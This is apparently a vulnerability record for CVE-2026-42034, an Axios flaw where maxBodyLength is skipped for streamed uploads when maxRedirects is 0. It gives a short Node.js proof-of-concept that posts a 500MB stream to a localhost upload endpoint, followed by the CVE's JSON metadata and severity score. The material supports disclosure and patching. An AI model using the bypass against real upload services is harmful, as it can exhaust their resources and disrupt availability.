CVE-2026-42034

const axios = require('axios'); const { Readable } = require('stream'); // Simulate a large data stream (e.g., 500MB) const largeStream = new Readable({ read() {} }); // Push a large amount of data to bypass the limit // In a real attack, this could be an infinite stream or huge file const largePayload = 'x'.repeat(1024 * 1024 * 500); largeStream.push(largePayload); largeStream.push(null); // Configure axios with a strict body limit but vulnerable redirect setting axios.post('http://localhost:3000/upload', largeStream, { maxBodyLength: 1024 * 1024, // Set limit to 1MB (Intended to block the request) maxRedirects: 0, // Set to 0 triggers the vulnerable path headers: { 'Content-Type': 'application/octet-stream' }, httpAgent: new http.Agent({ keepAlive: true }) }).then(response => { console.log('Request sent successfully (Limit Bypassed)', response.status); }).catch(error => { console.error('Request failed:', error.message); });

{"cve": {"id": "CVE-2026-42034", "sourceIdentifier": "[email protected]", "published": "2026-04-24T18:16:30.140", "lastModified": "2026-04-27T19:59:18.437", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, for stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits. This vulnerability is fixed in 1.15.1 and 0.31.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "0.31.1", "matchCriteriaId": "7D2B28C9-026E-4CD6-BD17-7EDD42108106"}, {"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.15.1", "matchCriteriaId": "3EC1EF30-EBB8-410B-90FB-1F18A3545C2E"}]}]}], "references": [{"url": "https://github.com/axios/axios/security/advisories/GHSA-5c9x-8gcm-mpgx", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/axios/axios/security/advisories/GHSA-5c9x-8gcm-mpgx", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}